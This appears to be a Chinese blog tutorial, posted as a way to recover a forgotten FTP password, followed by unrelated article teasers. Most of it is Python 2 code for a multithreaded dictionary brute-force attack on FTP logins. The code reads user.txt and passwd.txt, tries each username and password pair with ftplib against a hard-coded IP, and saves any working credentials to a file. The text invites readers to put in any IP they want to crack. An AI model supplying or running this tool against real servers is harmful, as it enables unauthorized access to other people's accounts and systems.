忘记ftp密码使用python ftplib库暴力破解密码的方法示例

yipeiwu_com5年前Python基础

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

复制代码 代码如下:

import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘\n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘\n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

复制代码 代码如下:

import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘aa.txt','a+')
hand.write(user+”:”+passwd+”\n”)
except ftplib.error_perm:
print “passwd is world”


需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

相关文章

Django实现一对多表模型的跨表查询方法

当有两个表,例如一个学生表,一个班级表,是多对一的关系。 方法1: c = models.Class.object.get(pk=1) #查询到ID为1的班级 stus = mode...

Python卸载模块的方法汇总

easy_install 卸载 通过easy_install 安装的模块可以直接通过  easy_install -m PackageName 卸载,然后删除\Python27...

python操作文件的参数整理

open() 方法 Python open() 方法用于打开一个文件,并返回文件对象,在对文件进行处理过程都需要使用到这个函数,如果该文件无法被打开,会抛出 OSError。 注意:使用...

详解Python如何生成词云的方法

详解Python如何生成词云的方法

前言 今天教大家用wrodcloud模块来生成词云,我读取了一篇小说并生成了词云,先看一下效果图: 效果图一: 效果图二: 根据效果图分析的还是比较准确的,小说中的主人公就是“程...

Python通过解析网页实现看报程序的方法

本文所述实例可以实现基于Python的查看图片报纸《参考消息》并将当天的图片报纸自动下载到本地供查看的功能,具体实现代码如下: # coding=gbk import urllib2...